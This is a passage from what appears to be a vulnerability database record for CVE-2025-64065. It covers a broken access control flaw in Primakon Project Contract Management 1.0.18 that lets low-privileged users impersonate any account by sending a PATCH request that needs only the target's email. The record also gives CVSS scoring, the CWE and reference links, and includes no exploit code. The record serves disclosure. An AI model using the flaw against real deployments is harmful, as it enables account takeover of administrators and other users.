The administrative LoginAs or user impersonation feature is vulnerable to a access control failure. This flaw allows any authenticated low-privileged user to execute a direct PATCH request, enabling them to impersonate any other arbitrary user, including application Administrators. This is due to a Broken Function Level Authorization failure (the function doesn't check the caller's privilege) compounded by an Insecure Design that permits a session switch without requiring the target user's password or an administrative token and only needs email of user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "48EDD273-2C46-43C9-9473-27D2C14040CB"}]}]}], "references": [{"url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64065.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.primakon.com/rjesenja/primakon-pcm/", "source": "[email protected]", "tags": ["Product"]}]}}
